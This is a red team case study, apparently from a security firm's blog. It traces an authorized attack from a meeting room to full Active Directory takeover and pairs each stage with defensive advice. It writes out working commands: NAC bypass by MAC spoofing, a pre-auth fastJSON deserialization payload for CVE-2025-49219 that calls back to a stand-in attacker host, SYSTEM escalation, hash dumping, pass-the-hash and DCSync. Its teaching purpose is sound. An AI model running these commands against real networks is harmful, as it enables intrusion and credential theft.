Home
BlogContact Us
Back to Blog
Red Team and Offensive Security

From a Meeting Room to Domain Admin: An End-to-End Attack Chain on a Production Network

Netlore Red Team
20 min read

Executive Summary

This technical case study documents a red team engagement — conducted under a signed, written authorization — against a manufacturing company operating in the automotive supplier industry. In this operation we built a single, uninterrupted attack chain that started from anonymous physical access to a meeting room and ended with the takeover of the entire Active Directory forest.

The defining trait of the chain: we advanced without relying on a single zero-day, combining only misconfigurations, weak identity management, and a deserialization vulnerability in a security product itself. The ironic part was that the server managing the endpoint protection (EDR) became the springboard for the domain's collapse.

Important note: The operation described here is a legal penetration test. All client-identifying information (organization name, IP addresses, host names, usernames, passwords, MAC addresses) has been anonymized or entirely changed. The technical flow, tools and vulnerability classes are real; the identifying data is not. Our goal is to give the defensive side a realistic attacker perspective.

Engagement Overview

  • Target Environment: Windows Active Directory forest, ~350 users, multi-DC setup + production/OT VLANs
  • Initial Access: Unescorted physical access to a meeting room in the visitor zone
  • Scope: Internal network; no restriction on lateral movement or privilege escalation
  • Outcome: From a meeting room to the krbtgt hash (Domain Admin → DCSync)
  • Zero-day usage: None — the chain was built entirely on misconfiguration + one known CVE
  • Tools Used: nmap, NetExec (nxc), Impacket, ysoserial.net, custom C# PrintSpoofer, hashcat

Killchain Map

Stage 0  Physical entry → meeting room; MAC of the door booking tablet
  ↓
Stage 1  NAC bypass → MAB beaten with the tablet's MAC → production VLAN
  ↓
Stage 2  Internal recon → nmap sweep; unauth service hunting
  ↓
Stage 3  MongoDB loot → unauth MongoDB → clear-text domain (mail-relay) password
  ↓
Stage 4  Bridge → authenticated enum with svc_mail → Apex Central server found
  ↓
Stage 5  Apex One RCE → CVE-2025-49219 (pre-auth deserialization) → NETWORK SERVICE
  ↓
Stage 6  Local priv-esc → SeImpersonate + PrintSpoofer → NT AUTHORITY\SYSTEM
  ↓
Stage 7  Hashdump → SAM/SYSTEM hive → local Administrator NTLM
  ↓
Stage 8  Domain Admin → shared local admin (no LAPS) → PtH → DCSync → krbtgt

Stage 0 — Physical Entry: Anonymous Access to a Meeting Room

We started the operation without needing an insider or a cloned employee badge. As in most organizations, the meeting rooms in the lobby/reception area of this facility were a grey zone where unescorted visitors are left "for a short while" and physical access control loosens. Under the pretext of a meeting we were let in, and we were left alone in the room for a few minutes.

Right next to the room's door was a wall-mounted room-booking tablet (room panel): connected to the network over PoE Ethernet, always on, constantly talking to the calendar. Because such panels need to reach the Exchange/calendar service to function, they are enrolled on the corporate network and almost always trusted by NAC. In other words, for us: a valid identity that could be borrowed.

The tablet's "Settings / About" screen was not PIN-protected. We read the LAN MAC address directly from the device info screen. To confirm, we plugged a small test device into the room's open network jack and passively sniffed; we saw the same MAC in the tablet's ARP/DHCP traffic:

# Room booking panel — device info (anonymized)
Device      : Meeting Room Booking Panel (PoE)
Connection  : Wired (802.3af PoE)
MAC (LAN)   : AA:BB:CC:DD:EE:FF
Network     : corporate VLAN (Exchange / booking reachable)

# Passive confirmation (test device, plugged in, listen-only)
tcpdump -i eth0 -e -n 'arp or (udp port 67 or 68)'
  ARP  who-has 10.10.20.1 tell 10.10.20.58  src AA:BB:CC:DD:EE:FF  ← panel

We now had the tablet's MAC — and it belonged to a real device that NAC trusted. The next step was simple: assume that trusted identity and join the network with our own device.

Defense: Do not leave meeting rooms unescorted — even in the visitor zone; enforce visitor management (badge + escort). Run room panels in locked kiosk mode (settings/About screen behind a PIN). Keep panels on a separate, restricted IoT VLAN; on switch ports use port-security + sticky MAC to allow only one MAC per jack, so that if the panel's MAC moves to another device the port shuts.


Stage 1 — NAC Bypass: Beating 802.1X/MAB with the Tablet's MAC

When we plugged our own Windows test device into the room's open jack (alternatively, into the data pair of the jack feeding the panel), the organization's NAC (FortiNAC) kicked in and dropped our unregistered device into a quarantine VLAN (172.20.96.3/24). There was no path to the production network from there.

The problem was this: there was no certificate-based 802.1X (EAP-TLS) in the environment. MAC Authentication Bypass (MAB) was enabled for panels, printers and IoT devices. MAB sends the device's 6-byte MAC address to RADIUS like a username/password. So the only security factor was an easily clonable hardware identifier — and we had already copied that identifier in Stage 0.

We changed our adapter's MAC to the meeting tablet's MAC:

# Write the meeting tablet's MAC onto our own adapter
$cls = "HKLM:\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\00XX"
Set-ItemProperty -Path $cls -Name "NetworkAddress" -Value "AABBCCDDEEFF"
Restart-NetAdapter -Name "Ethernet"

To avoid the same MAC appearing twice on the network and causing a conflict, in the scenario where we used the panel's own jack we briefly disabled the panel and connected in its place. The switch, per MAB policy, asked RADIUS about this MAC; because the tablet was on the approved device list, access was granted. Without presenting any cryptographic proof, we joined the production VLAN where the panel was authorized:

# sampled for 45 seconds - never dropped to quarantine
ipconfig:
   IPv4 Address. . . . . . . . . . . : 10.10.20.77   (PRODUCTION VLAN)

We were now inside the 10.10.0.0/16 production network. The meeting room's "harmless" tablet became the key that put us on the corporate network.

Defense: Do not treat MAB as a standalone security control. Move to certificate-based authentication with EAP-TLS (enterprise PKI + SCEP auto-enrollment). If EAP-TLS is not possible, confine MAB devices in fail-close mode to an IoT/quarantine VLAN isolated from production, and use L3 ACLs to allow only required services (booking server, NTP); close access to DCs and databases. One-MAC-per-port (port-security) and MAC-move detection turn the "moving" of the panel's identity into an instant alert.


Stage 2 — Internal Reconnaissance

Once on the production network, the goal was "easy loot" — services reachable without authentication that hold clear-text credentials. To keep noise minimal we first ran a quick service sweep:

# common management/DB ports across the /16
nmap -Pn -n --open -p 21,80,443,445,1433,3389,5900,6379,8080,9200,27017 10.10.0.0/16 -oA sweep

The scan revealed an open MongoDB (27017/tcp) port on an OT (operational technology) monitoring device in the production segment. On the SMB side, signing was disabled on nearly every server — we noted that for later.


Stage 3 — Unauthenticated MongoDB: The First Credential

The MongoDB on the OT monitoring device listed databases without authentication:

python3 -c "from pymongo import MongoClient; \
c=MongoClient('10.10.20.58',27017,serverSelectionTimeoutMS=4000); \
print(c.list_database_names())"
# ['admin', 'config', 'local', 'device_cfg', ...]   ← returned without auth

The device's configuration database stored third-party service credentials in clear text. The most critical record was the SMTP account the device used to send alarm emails — and it was a valid domain account:

# records read from device_cfg.integrations (anonymized)
smtp_user   = svc_mail
smtp_pass   = Mail-2017*               ← CLEAR TEXT, no reversible protection
smtp_server = MAIL01.corp.local        ← Exchange server
smtp_desc   = "security devices and firewall mail notifications"

A single unauthenticated OT device exposed the clear-text password of a domain account. This was the intersection of two distinct flaws: (1) the service being reachable without auth, (2) the sensitive password being stored in clear text.

Defense: Require auth on services like MongoDB/Redis/Elasticsearch (--auth, requirepass) and restrict them with bind to localhost/management. Do not keep credentials in device config in clear text; encrypt with a device-specific key where possible, and separate service accounts from domain accounts — an IoT device does not need a domain identity to send mail.


Stage 4 — Low-Privileged Foothold and the Bridge to Apex

The svc_mail account was low-privileged but a valid domain user. We validated it against the Domain Controller:

nxc smb 10.10.40.10 -u svc_mail -p 'Mail-2017*'
# SMB  10.10.40.10  445  DC01  [+] corp.local\svc_mail:Mail-2017*

Two things stood out in this account's LDAP properties: the password had not changed since 2017, and the account carried the DONT_EXPIRE_PASSWORD flag — so once leaked, valid forever. Its description gave away its role: the organization's central mail-relay identity for security devices and the firewall.

Here is the low-privileged user's real value in the chain: svc_mail was the "glue" of the security infrastructure. The authenticated recon we did with it surfaced the security/management servers — including the Trend Micro Apex Central / Apex One management console.

We also saw broad over-permissioning and a wide-open password policy:

# shares reachable by the low-priv account
nxc smb 10.10.0.0/24 -u svc_mail -p 'Mail-2017*' --shares
# ERP01: Netsis [READ]   CAD01: CATIA [READ]   FS01: MUTABAKAT [READ]

# domain password policy
Account Lockout Threshold : None     ← no lockout → unlimited password spray

Because there was no lockout, we could spray indefinitely; the predictable <CompanyName> + Year pattern handed us 9 more valid credentials. But for our chain, what mattered was the next target svc_mail had revealed.

Defense: Enable a lockout threshold (e.g., 5–10 attempts). Raise minimum password length to 14 and apply a banned-password list (Azure AD Password Protection or equivalent) that blocks company-name/sequential patterns. Move service accounts to gMSA and audit accounts carrying DONT_EXPIRE_PASSWORD.


Stage 5 — Apex One / Apex Central Pre-Auth Deserialization RCE (CVE-2025-49219)

Our infrastructure mapping with svc_mail pointed to the Trend Micro Apex Central console managing the org's endpoint protection (10.10.40.60, IIS 10 / ASP.NET). The version was in the < 8.0.7007 (patch B7007) band — exposed to CVE-2025-49219.

CVE-2025-49219 (ZDI-25-366) is a pre-auth deserialization vulnerability in Apex Central's PolicyServer (TMEE) integration plugin. There was no public PoC or Metasploit module for this CVE; we built the weaponization from scratch through black-box protocol observation.

5a — Pre-Auth Reachable Method and SSRF

The /webapp/PlugInConnect.asmx service exposes ~93 SOAP methods callable without authentication. When we pointed the URL inside the serverInfo array these methods take to our own server, Apex Central made an outbound connection without authentication to our PolicyServer — proving pre-auth SSRF on its own:

# pre-auth SOAP: serverInfo[0] redirected to the attacker server
POST /webapp/PlugInConnect.asmx   SOAPAction: "...getReportDetailView"
  <serverInfo>
    <string>http://10.10.50.42:8000/poc</string>   <!-- attacker -->
  </serverInfo>

→ 10.10.40.60 outbound:  GET /poc/TMEEService/cert   (no auth → SSRF)

5b — Sink = fastJSON

We returned a simple response to the /TMEEService/cert request hitting our fake PolicyServer; the server tried to parse it as JSON, crashed, and the SOAP fault leaked the full call stack:

   at fastJSON.JSON.ToObject[T](String json)              ◄── SINK
   at MobileArmor.TMEEServer.TMEEClient.GetCert()
   at MobileArmor.TMEEServer.TMEEClient.SetupKey()
   at PlugInConnect.getReportDetailView(...)

Critical finding: the /TMEEService/cert response goes straight into fastJSON.JSON.ToObject<T>(json) (the .NET world's mgholam fastJSON). More importantly, the GetCert() call comes before SetupKey() — meaning the deserialization sink is triggered on the first request, before any crypto handshake/validation. A classic deserialize-before-validation case.

5c — Weaponization: fastJSON $type Gadget

fastJSON honors the $type field in JSON to instantiate arbitrary .NET types. We executed commands using the ObjectDataProvider gadget from PresentationFramework, always present in the .NET Framework GAC. We generated the payload with ysoserial.net:

ysoserial.exe -f FastJson -g ObjectDataProvider -o raw \
  -c "cmd /c nslookup RCE_%COMPUTERNAME%.poc.attacker.tld 10.10.50.42" \
  > cert_gadget.json

The generated payload is the classic ObjectDataProvider gadget chain that abuses fastJSON's $type arbitrary .NET-type instantiation:

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "ObjectInstance": { "$type": "System.Diagnostics.Process, System" },
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList",
    "$values": ["cmd", "/c nslookup RCE_%COMPUTERNAME%.poc.attacker.tld 10.10.50.42"]
  }
}

The flow: we call a PlugInConnect method with serverInfo[0] = our server; Apex Central requests GET /TMEEService/cert; we return the gadget JSON; while ToObject<T> deserializes it, ObjectDataProvider.Start()Process.Start("cmd ...") fires.

[fake_policyserver] 10.10.40.60 → GET /TMEEService/cert
[callback]          10.10.40.60 → GET /RCE_APEX01.poc.attacker.tld
                    %COMPUTERNAME% EXPANDED → real command ran

The InvalidCastException: ObjectDataProvider → ... that dropped in the SOAP response was actually a success signal: fastJSON instantiated ObjectDataProvider and ran the gadget (Start() fired during deserialization), then failed trying to cast the result to the expected type — i.e., the command had already executed. Execution context: IIS APPPOOL\TMCMApplicationPool / NT AUTHORITY\NETWORK SERVICE.

We now had pre-auth command execution on the organization's EDR management server.

Defense: Upgrade Apex Central to B7007 and above. Close the management console to the internet and the flat user VLAN; restrict access to integration endpoints like PlugInConnect.asmx to the trusted management network only. Include security products in your "asset to be patched" inventory — the protection layer itself is the highest-value target.


Stage 6 — Local Privilege Escalation: SYSTEM via PrintSpoofer

The NETWORK SERVICE context was limited but carried a golden ticket: SeImpersonatePrivilege enabled.

whoami /priv
# SeImpersonatePrivilege   Enabled    ✓

With SeImpersonate, the classic path from a service account to SYSTEM is the Potato family. Off-the-shelf binaries (GodPotato, etc.) were instantly quarantined by Defender on the server. The solution was to use the logic of PrintSpoofer, PetitPotam's local sibling: PrintSpoofer uses the RpcRemoteFindFirstPrinterChangeNotificationEx RPC to coerce the Print Spooler into connecting to an attacker-controlled named pipe (\\.\pipe\spoolss) and authenticating; the incoming SYSTEM token is then impersonated via SeImpersonate to spawn a new process under it. To evade signature detection we compiled the technique as custom C# and ran it in memory via Add-Type:

sc query Spooler        # STATE: 4 RUNNING ✓
$src = Get-Content .\SpooferX.cs -Raw
Add-Type -TypeDefinition $src -Language CSharp
[SpooferX.Exploit]::Run("cmd /c whoami > C:\Windows\Temp\who.txt")
# → nt authority\system        ← SYSTEM obtained

Defense: Limit the exploitation potential of SeImpersonatePrivilege in internet/user-facing IIS app pools; run the service account as gMSA with least privilege where possible. Disable Print Spooler unless needed (especially on servers). Tune EDR at the behavior level (named-pipe impersonation, CreateProcessWithToken), not just signatures — and protect the EDR server itself with tamper protection.


Stage 7 — Hashdump: Local Administrator NTLM

With SYSTEM we exported the registry hives. Trend Micro's self-protection blocked a direct reg save on the SAM hive; we grabbed a shadow copy via Volume Shadow Copy and exfiltrated it:

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM     C:\Windows\Temp\s
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM  C:\Windows\Temp\y

# offline extraction
impacket-secretsdump -sam s -system y LOCAL
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:7a38e1d7c0f4e9b2a1c3...:::

We now had the server's local Administrator NTLM hash.


Stage 8 — Shared Local Admin → Domain Admin

The final step was to test how "reusable" this local Administrator hash was. The organization had no LAPS — meaning the local admin password was most likely deployed identically across the whole fleet from a single image. We confirmed it with Pass-the-Hash:

nxc smb 10.10.40.0/24 -u Administrator -H 7a38e1d7c0f4e9b2a1c3... --local-auth
# Pwn3d! 10.10.40.16 (SQL01)   Pwn3d! 10.10.40.60 (APEX01)
# Pwn3d! 10.10.40.100 (APP01)  ... dozens of hosts: shared local admin CONFIRMED

On one of the machines we roamed with local admin, there was a logged-on Domain Admin. With SYSTEM privileges we pulled that session's credential from LSASS:

nxc smb 10.10.40.16 -u Administrator -H 7a38e1d7... --local-auth -M lsassy
# [+] corp.local\svc_backup   <DA hash>     ← Domain Admins member service account

svc_backup was both a Domain Admins member and a backup service account carrying an SPN (kerberoastable). With the DA identity we were now at the top of the forest. To demonstrate impact we extracted the hashes including krbtgt via DCSync:

impacket-secretsdump corp.local/[email protected] -hashes :<DA_NT_hash> -just-dc-user krbtgt
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<krbtgt_nt_hash>:::

A single krbtgt hash meant indefinite domain dominance via a Golden Ticket, unaffected even by a password change. We stopped the operation here.

Defense:

  • Deploy LAPS (Windows LAPS) to give every machine a unique, random local admin password — this single control breaks fleet-wide Pass-the-Hash.
  • Prevent DAs from logging on to regular workstations/servers (Tiered Admin, Authentication Policy Silos, "Protected Users").
  • Remove service accounts from Domain Admins; run them as gMSA with least privilege.
  • Rotate the krbtgt password twice and put it on a regular schedule.

Anatomy of the Chain: Not a Single 0-Day

The most instructive aspect of this operation is that almost the entire chain consisted of misconfiguration and weak identity management. Even the one "real vulnerability" (CVE-2025-49219) owed its exploitability to a deserialize-before-validation design flaw.

StageRoot Cause ClassBreaking Point in One Sentence
Meeting room accessWeak visitor/physical controlUnescorted visitor + unlocked panel
Tablet MAC copySingle-factor MAB (CWE-287/290)Trust = a clonable MAC
MongoDBMissing auth (CWE-306)Critical data without authentication
Clear-text passwordCryptographic failure (CWE-256/312)Domain password in clear text
Weak passwordPredictable pattern + no lockout (CWE-307/521)<Company>+Year + unlimited tries
Apex RCEPre-auth deserialization (CWE-502)Deserialize before validate
SYSTEMSeImpersonate + SpoolerService account → SYSTEM
Domain AdminShared local admin / no LAPS (CWE-276)One hash, the whole fleet

The critical defensive lesson: every layer of defense-in-depth must work independently. Here, when physical control, NAC, password policy, network segmentation and EDR each fell short on their own, the attacker descended vertically through the gaps between the layers. A single LAPS deployment alone could have stopped the last and most destructive leap (fleet-wide Pass-the-Hash).


Closing

This test shows what a classic "zero-to-hero" scenario looks like in real life: not a single glorious exploit, but the disciplined chaining of small mistakes. The attacker walked into the building as a guest, borrowed the identity of the meeting tablet at the door, struck the organization with its own security product, and closed out the forest with a shared password.

As the Netlore Red Team, our goal is never to say "we owned it"; it is to show which assumption of the defense was wrong. In this organization the wrong assumption was: "We have layers, so we are safe." The layers existed — but they did not talk to one another.

If you wonder where in this chain your organization would break, that is exactly what we are here to find.

All system, network and credential data in this article has been anonymized. The techniques described are reference material only for legal penetration tests conducted under written authorization.

Tags:Red TeamNAC BypassActive DirectoryCVE-2025-49219DeserializationPass-the-HashPrivilege EscalationLateral MovementOT SecurityLAPS

Need Cybersecurity Consulting?

Our expert team provides comprehensive cybersecurity services to secure your corporate infrastructure. Contact us for detailed information about penetration testing, security audits, and consulting services.

Contact Us

Cookie Usage

We use cookies to improve your experience on our website. By continuing, you accept the use of cookies.

Cookie Policy